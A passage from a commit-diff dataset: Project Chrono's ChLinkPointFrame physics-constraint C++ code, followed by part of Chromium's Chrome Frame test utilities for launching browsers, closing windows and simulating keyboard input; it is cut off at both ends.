{\n\tconstraint1.Set_l_i(this->cache_li_speed.x);\n\tconstraint2.Set_l_i(this->cache_li_speed.y);\n\tconstraint3.Set_l_i(this->cache_li_speed.z);\n}\n\nvoid ChLinkPointFrame::ConstraintsLiLoadSuggestedPositionSolution() {\n\tconstraint1.Set_l_i(this->cache_li_pos.x);\n\tconstraint2.Set_l_i(this->cache_li_pos.y);\n\tconstraint3.Set_l_i(this->cache_li_pos.z);\n}\n\nvoid ChLinkPointFrame::ConstraintsLiFetchSuggestedSpeedSolution() {\n\tthis->cache_li_speed.x = (float)constraint1.Get_l_i();\n\tthis->cache_li_speed.y = (float)constraint2.Get_l_i();\n\tthis->cache_li_speed.z = (float)constraint3.Get_l_i();\n}\n\nvoid ChLinkPointFrame::ConstraintsLiFetchSuggestedPositionSolution() {\n\tthis->cache_li_pos.x =  (float)constraint1.Get_l_i();\n\tthis->cache_li_pos.y =  (float)constraint2.Get_l_i();\n\tthis->cache_li_pos.z =  (float)constraint3.Get_l_i();\n}\n\n\/\/\/\/\/\/\/\/ FILE I\/O\n\nvoid ChLinkPointFrame::StreamOUT(ChStreamOutBinary& mstream) {\n    \/*\n\t\t\t\/\/ class version number\n\tmstream.VersionWrite(1);\n\n\t\t\/\/ serialize parent class too\n\tChPhysicsItem::StreamOUT(mstream);\n\n\t\t\/\/ stream out all member data\n\t\/\/mstream << this->node_index;\n\tmstream < this->attach_reference;\n\tmstream < this->react;\n    *\/\n}\n\nvoid ChLinkPointFrame::StreamIN(ChStreamInBinary& mstream) {\n    \/*\n\t\t\/\/ class version number\n\tint version = mstream.VersionRead();\n\n\t\t\/\/ deserialize parent class too\n\tChPhysicsItem::StreamIN(mstream);\n\n\t\t\/\/ deserialize class\n\t\/\/mstream >> this->node_index;\n\tmstream >> this->attach_reference;\n\tmstream >> this->react;\n    *\/\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<commit_msg>Fix bug in reporting constraint violations for ChLinkPointFrame<commit_after>\/\/\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2010, 2012 Alessandro Tasora\n\/\/ Copyright (c) 2013 Project Chrono\n\/\/ All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be \n\/\/ found in the LICENSE file at the top level of the distribution\n\/\/ and at http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\n#include \"chrono_fea\/ChLinkPointFrame.h\"\n#include \"physics\/ChSystem.h\"\n#include \"physics\/ChIndexedNodes.h\"\n\nusing namespace chrono;\nusing namespace fea;\n\n\/\/ Register into the object factory, to enable run-time\n\/\/ dynamic creation and persistence\nChClassRegister<ChLinkPointFrame> a_registration_ChLinkPointFrame;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nChLinkPointFrame::ChLinkPointFrame() {\n\tthis->react= VNULL;\n\tthis->cache_li_speed = VNULL;\n\tthis->cache_li_pos = VNULL;\n\tthis->attach_reference = CSYSNORM;\n\n\tSetIdentifier(GetUniqueIntID()); \/\/ mark with unique ID\n}\n\nChLinkPointFrame::~ChLinkPointFrame() {\n}\n\nvoid ChLinkPointFrame::Copy(ChLinkPointFrame* source) {\n\t\t\/\/ copy the parent class data...\n\tChPhysicsItem::Copy(source);\n\n\t\t\/\/ copy class data\n\tattach_reference = source->attach_reference;\n\treact = source->react;\n\tcache_li_speed = source->cache_li_speed;\n\tcache_li_pos = source->cache_li_pos;\n}\n\nChCoordsys<> ChLinkPointFrame::GetLinkAbsoluteCoords() {\n    if (this->body) {\n\t\tChCoordsys<> linkcsys = attach_reference >> (*this->body);\n\t\treturn linkcsys;\n\t}\n\treturn CSYSNORM;\n}\n\nint ChLinkPointFrame::Initialize(ChSharedPtr<ChIndexedNodes> mnodes, \/\/\/< nodes container\n\t\t\t\t\t\t   unsigned int mnode_index, \/\/\/< index of the node to join\n\t\t\t\t\t\t   ChSharedPtr<ChBodyFrame>  mbody,   \/\/\/< body to join \n                                 ChVector<>* mattach) {\n\tassert(!mnodes.IsNull());\n\n\tChSharedPtr<ChNodeFEAxyz> anode(mnodes->GetNode(mnode_index).DynamicCastTo<ChNodeFEAxyz>() ); \/\/ downcasting\n\t\n\tif (anode.IsNull()) \n        return false;  \/\/ downcasting wasn't successfull (in a ChIndexedNodes, different types of nodes could be\n                       \/\/ present..)\n\n\treturn this->Initialize(anode, mbody, mattach);\n}\n\nint ChLinkPointFrame::Initialize(ChSharedPtr<ChNodeFEAxyz> anode,  \/\/\/< node to join\n\t\t\t\t\t\t   ChSharedPtr<ChBodyFrame>  mbody,\t\t\/\/\/< body to join \n                                 ChVector<>* mattach) {\n\tassert(!anode.IsNull() && !mbody.IsNull());\n\n\tthis->body = mbody;\n\tthis->mnode = anode;\n\n\tthis->constraint1.SetVariables(&(this->mnode->Variables()), &(this->body->Variables()));\n\tthis->constraint2.SetVariables(&(this->mnode->Variables()), &(this->body->Variables()));\n\tthis->constraint3.SetVariables(&(this->mnode->Variables()), &(this->body->Variables()));\n\n\t\/\/this->SetSystem(this->body->GetSystem());\n\n    if (mattach) {\n\t\tthis->attach_reference.pos = body->TransformPointParentToLocal(*mattach);\n    } else {\n\t\t\/\/ downcasting\n        if (mnode.IsNull())\n            return false;\n\n\t\tChVector<> temp= mnode->GetPos(); \n\t\tthis->attach_reference.pos = body->TransformPointParentToLocal(temp);\n\t}\n\n\treturn true;\n}\n\nvoid ChLinkPointFrame::Update(double mytime, bool update_assets) {\n  \/\/ Inherit time changes of parent class\n  ChPhysicsItem::Update(mytime, update_assets);\n\n  \/\/ update class data\n  \/\/ ...\n}\n\nChMatrix<> ChLinkPointFrame::GetC() {\n    ChMatrix33<> Arw(attach_reference.rot >> body->GetRot());\n    ChVector<> res = Arw.MatrT_x_Vect(mnode->GetPos() - body->TransformPointLocalToParent(attach_reference.pos));\n    ChMatrixNM<double, 3, 1> C;\n    C(0, 0) = res.x;\n    C(1, 0) = res.y;\n    C(2, 0) = res.z;\n    return C;\n}\n\n\/\/\/\/ STATE BOOKKEEPING FUNCTIONS\n\nvoid ChLinkPointFrame::IntStateGatherReactions(const unsigned int off_L, ChVectorDynamic<>& L) {\n\tL(off_L+0) = this->react.x;\n\tL(off_L+1) = this->react.y;\n\tL(off_L+2) = this->react.z;\n}\n\nvoid ChLinkPointFrame::IntStateScatterReactions(const unsigned int off_L, const ChVectorDynamic<>& L) {\n\tthis->react.x = L(off_L+0);\n\tthis->react.y = L(off_L+1);\n\tthis->react.z = L(off_L+2);\n}\n\nvoid ChLinkPointFrame::IntLoadResidual_CqL(const unsigned int off_L,    \/\/\/< offset in L multipliers\n\t\t\t\t\tChVectorDynamic<>& R,\t\t \/\/\/< result: the R residual, R += c*Cq'*L \n\t\t\t\t\tconst ChVectorDynamic<>& L,  \/\/\/< the L vector \n\t\t\t\t\tconst double c\t\t\t\t \/\/\/< a scaling factor\n                                           ) {\n\tif (!IsActive())\n    return;\n\n\tconstraint1.MultiplyTandAdd(R, L(off_L+0) *c);\n\tconstraint2.MultiplyTandAdd(R, L(off_L+1) *c);\n\tconstraint3.MultiplyTandAdd(R, L(off_L+2) *c);\n}\n\nvoid ChLinkPointFrame::IntLoadConstraint_C(const unsigned int off_L,  \/\/\/< offset in Qc residual\n\t\t\t\t\tChVectorDynamic<>& Qc,\t\t \/\/\/< result: the Qc residual, Qc += c*C \n\t\t\t\t\tconst double c,\t\t\t\t \/\/\/< a scaling factor\n\t\t\t\t\tbool do_clamp,\t\t\t\t \/\/\/< apply clamping to c*C?\n\t\t\t\t\tdouble recovery_clamp\t\t \/\/\/< value for min\/max clamping of c*C\n                                           ) {\n\tif (!IsActive())\n    return;\n\n\tChMatrix33<> Arw (attach_reference.rot >> body->GetRot());\n\n\tChVector<> res = Arw.MatrT_x_Vect(mnode->GetPos() - this->body->TransformPointLocalToParent(this->attach_reference.pos) ); \n\tChVector<> cres = res * c;\n\n\tif (do_clamp) {\n\t\tcres.x = ChMin(ChMax(cres.x, -recovery_clamp), recovery_clamp);\n\t\tcres.y = ChMin(ChMax(cres.y, -recovery_clamp), recovery_clamp);\n\t\tcres.z = ChMin(ChMax(cres.z, -recovery_clamp), recovery_clamp);\n\t}\n\tQc(off_L+0) += cres.x;\n\tQc(off_L+1) += cres.y;\n\tQc(off_L+2) += cres.z;\n}\n\nvoid ChLinkPointFrame::IntToLCP(const unsigned int off_v,  \/\/\/< offset in v, R\n\t\t\t\t\tconst ChStateDelta& v,\n\t\t\t\t\tconst ChVectorDynamic<>& R,\n\t\t\t\t\tconst unsigned int off_L,\t\t\t\/\/\/< offset in L, Qc\n\t\t\t\t\tconst ChVectorDynamic<>& L,\n                                const ChVectorDynamic<>& Qc) {\n\tif (!IsActive())\n    return;\n\n\tconstraint1.Set_l_i(L(off_L+0));\n\tconstraint2.Set_l_i(L(off_L+1));\n\tconstraint3.Set_l_i(L(off_L+2));\n\n\tconstraint1.Set_b_i(Qc(off_L+0));\n\tconstraint2.Set_b_i(Qc(off_L+1));\n\tconstraint3.Set_b_i(Qc(off_L+2));\n}\n\nvoid ChLinkPointFrame::IntFromLCP(const unsigned int off_v,  \/\/\/< offset in v\n\t\t\t\t\tChStateDelta& v,\n\t\t\t\t\tconst unsigned int off_L,\t\t\t\/\/\/< offset in L\n                                  ChVectorDynamic<>& L) {\n\tif (!IsActive())\n    return;\n\n\tL(off_L+0)=constraint1.Get_l_i();\n\tL(off_L+1)=constraint2.Get_l_i();\n\tL(off_L+2)=constraint3.Get_l_i();\n}\n\n\/\/\/\/\/\/\/\/\/\/ LCP INTERFACES \/\/\/\/\n\nvoid ChLinkPointFrame::InjectConstraints(ChLcpSystemDescriptor& mdescriptor) {\n\t\/\/if (!this->IsActive())\n\t\/\/\treturn;\n\n\tmdescriptor.InsertConstraint(&constraint1);\n\tmdescriptor.InsertConstraint(&constraint2);\n\tmdescriptor.InsertConstraint(&constraint3);\n}\n\nvoid ChLinkPointFrame::ConstraintsBiReset() {\n\tconstraint1.Set_b_i(0.);\n\tconstraint2.Set_b_i(0.);\n\tconstraint3.Set_b_i(0.);\n}\n \nvoid ChLinkPointFrame::ConstraintsBiLoad_C(double factor, double recovery_clamp, bool do_clamp) {\n\t\/\/if (!this->IsActive())\n\t\/\/\treturn;\n\n\tif (mnode.IsNull()) \n\t\treturn;\n\n\tChMatrix33<> Arw (attach_reference.rot >> body->GetRot());\n\n\tChVector<> res = Arw.MatrT_x_Vect(mnode->GetPos() - this->body->TransformPointLocalToParent(this->attach_reference.pos) ); \n\n\tthis->constraint1.Set_b_i(constraint1.Get_b_i() +  factor * res.x);\n\tthis->constraint2.Set_b_i(constraint2.Get_b_i() +  factor * res.y);\n\tthis->constraint3.Set_b_i(constraint3.Get_b_i() +  factor * res.z);\n}\n\nvoid ChLinkPointFrame::ConstraintsBiLoad_Ct(double factor) {\n\t\/\/if (!this->IsActive())\n\t\/\/\treturn;\n\n\t\/\/ nothing\n}\n\nvoid ChLinkPointFrame::ConstraintsLoadJacobians() {\n\t\t\/\/ compute jacobians\n\tChMatrix33<> Aro (attach_reference.rot); \n\tChMatrix33<> Aow (body->GetRot());\n\tChMatrix33<> Arw = Aow * Aro;\n\n\tChMatrix33<> Jxn;\n\tJxn.CopyFromMatrixT(Arw);\n\n\tChMatrix33<> Jxb;\n\tJxb.CopyFromMatrixT(Arw);\n\tJxb.MatrNeg();\n\n\tChMatrix33<> atilde;\n\tatilde.Set_X_matrix(Aow.MatrT_x_Vect(mnode->GetPos()- body->GetPos()));\n\tChMatrix33<> Jrb;\n\tJrb.MatrTMultiply(Aro, atilde);\n\n\tthis->constraint1.Get_Cq_a()->PasteClippedMatrix(&Jxn, 0,0, 1,3, 0,0);\n\tthis->constraint2.Get_Cq_a()->PasteClippedMatrix(&Jxn, 1,0, 1,3, 0,0);\n\tthis->constraint3.Get_Cq_a()->PasteClippedMatrix(&Jxn, 2,0, 1,3, 0,0);\n\n\tthis->constraint1.Get_Cq_b()->PasteClippedMatrix(&Jxb, 0,0, 1,3, 0,0);\n\tthis->constraint2.Get_Cq_b()->PasteClippedMatrix(&Jxb, 1,0, 1,3, 0,0);\n\tthis->constraint3.Get_Cq_b()->PasteClippedMatrix(&Jxb, 2,0, 1,3, 0,0);\n\tthis->constraint1.Get_Cq_b()->PasteClippedMatrix(&Jrb, 0,0, 1,3, 0,3);\n\tthis->constraint2.Get_Cq_b()->PasteClippedMatrix(&Jrb, 1,0, 1,3, 0,3);\n\tthis->constraint3.Get_Cq_b()->PasteClippedMatrix(&Jrb, 2,0, 1,3, 0,3);\n}\n \nvoid ChLinkPointFrame::ConstraintsFetch_react(double factor) {\n\t\/\/ From constraints to react vector:\n\tthis->react.x = constraint1.Get_l_i() * factor; \n\tthis->react.y = constraint2.Get_l_i() * factor; \n\tthis->react.z = constraint3.Get_l_i() * factor; \n}\n\n\/\/ Following functions are for exploiting the contact persistence\n\nvoid ChLinkPointFrame::ConstraintsLiLoadSuggestedSpeedSolution() {\n\tconstraint1.Set_l_i(this->cache_li_speed.x);\n\tconstraint2.Set_l_i(this->cache_li_speed.y);\n\tconstraint3.Set_l_i(this->cache_li_speed.z);\n}\n\nvoid ChLinkPointFrame::ConstraintsLiLoadSuggestedPositionSolution() {\n\tconstraint1.Set_l_i(this->cache_li_pos.x);\n\tconstraint2.Set_l_i(this->cache_li_pos.y);\n\tconstraint3.Set_l_i(this->cache_li_pos.z);\n}\n\nvoid ChLinkPointFrame::ConstraintsLiFetchSuggestedSpeedSolution() {\n\tthis->cache_li_speed.x = (float)constraint1.Get_l_i();\n\tthis->cache_li_speed.y = (float)constraint2.Get_l_i();\n\tthis->cache_li_speed.z = (float)constraint3.Get_l_i();\n}\n\nvoid ChLinkPointFrame::ConstraintsLiFetchSuggestedPositionSolution() {\n\tthis->cache_li_pos.x =  (float)constraint1.Get_l_i();\n\tthis->cache_li_pos.y =  (float)constraint2.Get_l_i();\n\tthis->cache_li_pos.z =  (float)constraint3.Get_l_i();\n}\n\n\/\/\/\/\/\/\/\/ FILE I\/O\n\nvoid ChLinkPointFrame::StreamOUT(ChStreamOutBinary& mstream) {\n    \/*\n\t\t\t\/\/ class version number\n\tmstream.VersionWrite(1);\n\n\t\t\/\/ serialize parent class too\n\tChPhysicsItem::StreamOUT(mstream);\n\n\t\t\/\/ stream out all member data\n\t\/\/mstream << this->node_index;\n\tmstream < this->attach_reference;\n\tmstream < this->react;\n    *\/\n}\n\nvoid ChLinkPointFrame::StreamIN(ChStreamInBinary& mstream) {\n    \/*\n\t\t\/\/ class version number\n\tint version = mstream.VersionRead();\n\n\t\t\/\/ deserialize parent class too\n\tChPhysicsItem::StreamIN(mstream);\n\n\t\t\/\/ deserialize class\n\t\/\/mstream >> this->node_index;\n\tmstream >> this->attach_reference;\n\tmstream >> this->react;\n    *\/\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome_frame\/test\/chrome_frame_test_utils.h\"\n\n#include <atlbase.h>\n#include <atlwin.h>\n#include <iepmapi.h>\n\n#include \"base\/registry.h\"   \/\/ to find IE and firefox\n#include \"base\/scoped_handle.h\"\n#include \"base\/scoped_comptr_win.h\"\n#include \"base\/string_util.h\"\n#include \"base\/win_util.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n\nnamespace chrome_frame_test {\n\nconst wchar_t kIEImageName[] = L\"iexplore.exe\";\nconst wchar_t kIEBrokerImageName[] = L\"ieuser.exe\";\nconst wchar_t kFirefoxImageName[] = L\"firefox.exe\";\nconst wchar_t kOperaImageName[] = L\"opera.exe\";\nconst wchar_t kSafariImageName[] = L\"safari.exe\";\nconst wchar_t kChromeImageName[] = L\"chrome.exe\";\n\nbool IsTopLevelWindow(HWND window) {\n  long style = GetWindowLong(window, GWL_STYLE);  \/\/ NOLINT\n  if (!(style & WS_CHILD))\n    return true;\n\n  HWND parent = GetParent(window);\n  if (!parent)\n    return true;\n\n  if (parent == GetDesktopWindow())\n    return true;\n\n  return false;\n}\n\n\/\/ Callback function for EnumThreadWindows.\nBOOL CALLBACK CloseWindowsThreadCallback(HWND hwnd, LPARAM param) {\n  int& count = *reinterpret_cast<int*>(param);\n  if (IsWindowVisible(hwnd)) {\n    if (IsWindowEnabled(hwnd)) {\n      DWORD results = 0;\n      if (!::SendMessageTimeout(hwnd, WM_SYSCOMMAND, SC_CLOSE, 0, SMTO_BLOCK,\n                                10000, &results)) {\n        DLOG(WARNING) << \"Window hung: \" << StringPrintf(L\"%08X\", hwnd);\n      }\n      count++;\n    } else {\n      DLOG(WARNING) << \"Skipping disabled window: \"\n                  << StringPrintf(L\"%08X\", hwnd);\n    }\n  }\n  return TRUE;  \/\/ continue enumeration\n}\n\n\/\/ Attempts to close all non-child, visible windows on the given thread.\n\/\/ The return value is the number of visible windows a close request was\n\/\/ sent to.\nint CloseVisibleTopLevelWindowsOnThread(DWORD thread_id) {\n  int window_close_attempts = 0;\n  EnumThreadWindows(thread_id, CloseWindowsThreadCallback,\n                    reinterpret_cast<LPARAM>(&window_close_attempts));\n  return window_close_attempts;\n}\n\n\/\/ Enumerates the threads of a process and attempts to close visible non-child\n\/\/ windows on all threads of the process.\n\/\/ The return value is the number of visible windows a close request was\n\/\/ sent to.\nint CloseVisibleWindowsOnAllThreads(HANDLE process) {\n  DWORD process_id = ::GetProcessId(process);\n  if (process_id == 0) {\n    NOTREACHED();\n    return 0;\n  }\n\n  ScopedHandle snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0));\n  if (!snapshot.IsValid()) {\n    NOTREACHED();\n    return 0;\n  }\n\n  int window_close_attempts = 0;\n  THREADENTRY32 te = { sizeof(THREADENTRY32) };\n  if (Thread32First(snapshot, &te)) {\n    do {\n      if (RTL_CONTAINS_FIELD(&te, te.dwSize, th32OwnerProcessID) &&\n          te.th32OwnerProcessID == process_id) {\n        window_close_attempts +=\n            CloseVisibleTopLevelWindowsOnThread(te.th32ThreadID);\n      }\n      te.dwSize = sizeof(te);\n    } while (Thread32Next(snapshot, &te));\n  }\n\n  return window_close_attempts;\n}\n\nclass ForegroundHelperWindow : public CWindowImpl<ForegroundHelperWindow> {\n public:\nBEGIN_MSG_MAP(ForegroundHelperWindow)\n  MESSAGE_HANDLER(WM_HOTKEY, OnHotKey)\nEND_MSG_MAP()\n\n  HRESULT SetForeground(HWND window) {\n    DCHECK(::IsWindow(window));\n    if (NULL == Create(NULL, NULL, NULL, WS_POPUP))\n      return AtlHresultFromLastError();\n\n    static const int hotkey_id = 0x0000baba;\n\n    SetWindowLongPtr(GWLP_USERDATA, reinterpret_cast<ULONG_PTR>(window));\n    RegisterHotKey(m_hWnd, hotkey_id, 0, VK_F22);\n\n    MSG msg = {0};\n    PeekMessage(&msg, NULL, 0, 0, PM_NOREMOVE);\n\n    INPUT hotkey = {0};\n    hotkey.type = INPUT_KEYBOARD;\n    hotkey.ki.wVk =  VK_F22;\n    SendInput(1, &hotkey, sizeof(hotkey));\n\n    while (GetMessage(&msg, NULL, 0, 0)) {\n      TranslateMessage(&msg);\n      DispatchMessage(&msg);\n      if (WM_HOTKEY == msg.message)\n        break;\n    }\n\n    UnregisterHotKey(m_hWnd, hotkey_id);\n    DestroyWindow();\n\n    return S_OK;\n  }\n\n  LRESULT OnHotKey(UINT msg, WPARAM wp, LPARAM lp, BOOL& handled) {  \/\/ NOLINT\n    HWND window = reinterpret_cast<HWND>(GetWindowLongPtr(GWLP_USERDATA));\n    SetForegroundWindow(window);\n    return 1;\n  }\n};\n\nbool ForceSetForegroundWindow(HWND window) {\n  if (GetForegroundWindow() == window)\n    return true;\n  ForegroundHelperWindow foreground_helper_window;\n  HRESULT hr = foreground_helper_window.SetForeground(window);\n  return SUCCEEDED(hr);\n}\n\nstruct PidAndWindow {\n  base::ProcessId pid;\n  HWND hwnd;\n};\n\nBOOL CALLBACK FindWindowInProcessCallback(HWND hwnd, LPARAM param) {\n  PidAndWindow* paw = reinterpret_cast<PidAndWindow*>(param);\n  base::ProcessId pid;\n  GetWindowThreadProcessId(hwnd, &pid);\n  if (pid == paw->pid && IsWindowVisible(hwnd)) {\n    paw->hwnd = hwnd;\n    return FALSE;\n  }\n\n  return TRUE;\n}\n\nbool EnsureProcessInForeground(base::ProcessId process_id) {\n  HWND hwnd = GetForegroundWindow();\n  base::ProcessId current_foreground_pid = 0;\n  DWORD active_thread_id = GetWindowThreadProcessId(hwnd,\n      &current_foreground_pid);\n  if (current_foreground_pid == process_id)\n    return true;\n\n  PidAndWindow paw = { process_id };\n  EnumWindows(FindWindowInProcessCallback, reinterpret_cast<LPARAM>(&paw));\n  if (!IsWindow(paw.hwnd)) {\n    DLOG(ERROR) << \"failed to find process window\";\n    return false;\n  }\n\n  bool ret = ForceSetForegroundWindow(paw.hwnd);\n  DLOG_IF(ERROR, !ret) << \"ForceSetForegroundWindow: \" << ret;\n\n  return ret;\n}\n\n\/\/ Iterates through all the characters in the string and simulates\n\/\/ keyboard input.  The input goes to the currently active application.\nbool SendString(const wchar_t* string) {\n  DCHECK(string != NULL);\n\n  INPUT input[2] = {0};\n  input[0].type = INPUT_KEYBOARD;\n  input[0].ki.dwFlags = KEYEVENTF_UNICODE;  \/\/ to avoid shift, etc.\n  input[1] = input[0];\n  input[1].ki.dwFlags |= KEYEVENTF_KEYUP;\n\n  for (const wchar_t* p = string; *p; p++) {\n    input[0].ki.wScan = input[1].ki.wScan = *p;\n    SendInput(2, input, sizeof(INPUT));\n  }\n\n  return true;\n}\n\nvoid SendVirtualKey(int16 key) {\n  INPUT input = { INPUT_KEYBOARD };\n  input.ki.wVk = key;\n  SendInput(1, &input, sizeof(input));\n  input.ki.dwFlags = KEYEVENTF_KEYUP;\n  SendInput(1, &input, sizeof(input));\n}\n\nvoid SendChar(char c) {\n  SendVirtualKey(VkKeyScanA(c));\n}\n\nvoid SendString(const char* s) {\n  while (*s) {\n    SendChar(*s);\n    s++;\n  }\n}\n\n\/\/ Sends a keystroke to the currently active application with optional\n\/\/ modifiers set.\nbool SendMnemonic(WORD mnemonic_char, bool shift_pressed, bool control_pressed,\n                  bool alt_pressed) {\n  INPUT special_keys[3] = {0};\n  for (int index = 0; index < arraysize(special_keys); ++index) {\n    special_keys[index].type = INPUT_KEYBOARD;\n    special_keys[index].ki.dwFlags = 0;\n  }\n\n  int num_special_keys = 0;\n  if (shift_pressed)  {\n    special_keys[num_special_keys].ki.wVk = VK_SHIFT;\n    num_special_keys++;\n  }\n\n  if (control_pressed)  {\n    special_keys[num_special_keys].ki.wVk = VK_CONTROL;\n    num_special_keys++;\n  }\n\n  if (alt_pressed)  {\n    special_keys[num_special_keys].ki.wVk = VK_MENU;\n    num_special_keys++;\n  }\n\n  \/\/ Depress the modifiers.\n  SendInput(num_special_keys, special_keys, sizeof(INPUT));\n\n  Sleep(100);\n\n  INPUT mnemonic = {0};\n  mnemonic.type = INPUT_KEYBOARD;\n  mnemonic.ki.wVk = mnemonic_char;\n\n  \/\/ Depress and release the mnemonic.\n  SendInput(1, &mnemonic, sizeof(INPUT));\n  Sleep(100);\n\n  mnemonic.ki.dwFlags |= KEYEVENTF_KEYUP;\n  SendInput(1, &mnemonic, sizeof(INPUT));\n  Sleep(100);\n\n  \/\/ Now release the modifiers.\n  for (int index = 0;  index < num_special_keys; index++) {\n    special_keys[index].ki.dwFlags |= KEYEVENTF_KEYUP;\n  }\n\n  SendInput(num_special_keys, special_keys, sizeof(INPUT));\n  Sleep(100);\n\n  return true;\n}\n\nstd::wstring GetExecutableAppPath(const std::wstring& file) {\n  std::wstring kAppPathsKey =\n      L\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\\";\n\n  std::wstring app_path;\n  RegKey key(HKEY_LOCAL_MACHINE, (kAppPathsKey + file).c_str());\n  if (key.Handle()) {\n    key.ReadValue(NULL, &app_path);\n  }\n\n  return app_path;\n}\n\nstd::wstring FormatCommandForApp(const std::wstring& exe_name,\n                                 const std::wstring& argument) {\n  std::wstring reg_path(StringPrintf(L\"Applications\\\\%ls\\\\shell\\\\open\\\\command\",\n                                     exe_name.c_str()));\n  RegKey key(HKEY_CLASSES_ROOT, reg_path.c_str());\n\n  std::wstring command;\n  if (key.Handle()) {\n    key.ReadValue(NULL, &command);\n    int found = command.find(L\"%1\");\n    if (found >= 0) {\n      command.replace(found, 2, argument);\n    }\n  }\n  return command;\n}\n\nbase::ProcessHandle LaunchExecutable(const std::wstring& executable,\n                                     const std::wstring& argument) {\n  base::ProcessHandle process = NULL;\n  std::wstring path = GetExecutableAppPath(executable);\n  if (path.empty()) {\n    path = FormatCommandForApp(executable, argument);\n    if (path.empty()) {\n      DLOG(ERROR) << \"Failed to find executable: \" << executable;\n    } else {\n      CommandLine cmdline = CommandLine::FromString(path);\n      base::LaunchApp(cmdline, false, false, &process);\n    }\n  } else {\n    CommandLine cmdline(path);\n    cmdline.AppendLooseValue(argument);\n    base::LaunchApp(cmdline, false, false, &process);\n  }\n  return process;\n}\n\nbase::ProcessHandle LaunchFirefox(const std::wstring& url) {\n  return LaunchExecutable(kFirefoxImageName, url);\n}\n\nbase::ProcessHandle LaunchSafari(const std::wstring& url) {\n  return LaunchExecutable(kSafariImageName, url);\n}\n\nbase::ProcessHandle LaunchChrome(const std::wstring& url) {\n  return LaunchExecutable(kChromeImageName,\n      StringPrintf(L\"--%ls \", switches::kNoFirstRun) + url);\n}\n\nbase::ProcessHandle LaunchOpera(const std::wstring& url) {\n  \/\/ NOTE: For Opera tests to work it must be configured to start up with\n  \/\/ a blank page.  There is an command line switch, -nosession, that's supposed\n  \/\/ to avoid opening up the previous session, but that switch is not working.\n  \/\/ TODO(tommi): Include a special ini file (opera6.ini) for opera and launch\n  \/\/  with our required settings.  This file is by default stored here:\n  \/\/ \"%USERPROFILE%\\Application Data\\Opera\\Opera\\profile\\opera6.ini\"\n  return LaunchExecutable(kOperaImageName, url);\n}\n\nbase::ProcessHandle LaunchIEOnVista(const std::wstring& url) {\n  typedef HRESULT (WINAPI* IELaunchURLPtr)(\n      const wchar_t* url,\n      PROCESS_INFORMATION *pi,\n      VOID *info);\n\n  IELaunchURLPtr launch;\n  PROCESS_INFORMATION pi = {0};\n  IELAUNCHURLINFO  info = {sizeof info, 0};\n  HMODULE h = LoadLibrary(L\"ieframe.dll\");\n  if (!h)\n    return NULL;\n  launch = reinterpret_cast<IELaunchURLPtr>(GetProcAddress(h, \"IELaunchURL\"));\n  HRESULT hr = launch(url.c_str(), &pi, &info);\n  FreeLibrary(h);\n  if (SUCCEEDED(hr))\n    CloseHandle(pi.hThread);\n  return pi.hProcess;\n}\n\nbase::ProcessHandle LaunchIE(const std::wstring& url) {\n  if (win_util::GetWinVersion() >= win_util::WINVERSION_VISTA) {\n    return LaunchIEOnVista(url);\n  } else {\n    return LaunchExecutable(kIEImageName, url);\n  }\n}\n\nint CloseAllIEWindows() {\n  int ret = 0;\n\n  ScopedComPtr<IShellWindows> windows;\n  HRESULT hr = ::CoCreateInstance(__uuidof(ShellWindows), NULL, CLSCTX_ALL,\n      IID_IShellWindows, reinterpret_cast<void**>(windows.Receive()));\n  DCHECK(SUCCEEDED(hr));\n\n  if (SUCCEEDED(hr)) {\n    long count = 0;  \/\/ NOLINT\n    windows->get_Count(&count);\n    VARIANT i = { VT_I4 };\n    for (i.lVal = 0; i.lVal < count; ++i.lVal) {\n      ScopedComPtr<IDispatch> folder;\n      windows->Item(i, folder.Receive());\n      if (folder != NULL) {\n        ScopedComPtr<IWebBrowser2> browser;\n        if (SUCCEEDED(browser.QueryFrom(folder))) {\n          browser->Quit();\n          ++ret;\n        }\n      }\n    }\n  }\n\n  return ret;\n}\n\n}  \/\/ namespace chrome_frame_test\n<commit_msg>Blind attempt at fixing broken Chrome Frame test utils build.<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome_frame\/test\/chrome_frame_test_utils.h\"\n\n#include <atlbase.h>\n#include <atlwin.h>\n#include <iepmapi.h>\n\n#include \"base\/registry.h\"   \/\/ to find IE and firefox\n#include \"base\/scoped_handle.h\"\n#include \"base\/scoped_comptr_win.h\"\n#include \"base\/string_util.h\"\n#include \"base\/win_util.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n\nnamespace chrome_frame_test {\n\nconst wchar_t kIEImageName[] = L\"iexplore.exe\";\nconst wchar_t kIEBrokerImageName[] = L\"ieuser.exe\";\nconst wchar_t kFirefoxImageName[] = L\"firefox.exe\";\nconst wchar_t kOperaImageName[] = L\"opera.exe\";\nconst wchar_t kSafariImageName[] = L\"safari.exe\";\nconst wchar_t kChromeImageName[] = L\"chrome.exe\";\n\nbool IsTopLevelWindow(HWND window) {\n  long style = GetWindowLong(window, GWL_STYLE);  \/\/ NOLINT\n  if (!(style & WS_CHILD))\n    return true;\n\n  HWND parent = GetParent(window);\n  if (!parent)\n    return true;\n\n  if (parent == GetDesktopWindow())\n    return true;\n\n  return false;\n}\n\n\/\/ Callback function for EnumThreadWindows.\nBOOL CALLBACK CloseWindowsThreadCallback(HWND hwnd, LPARAM param) {\n  int& count = 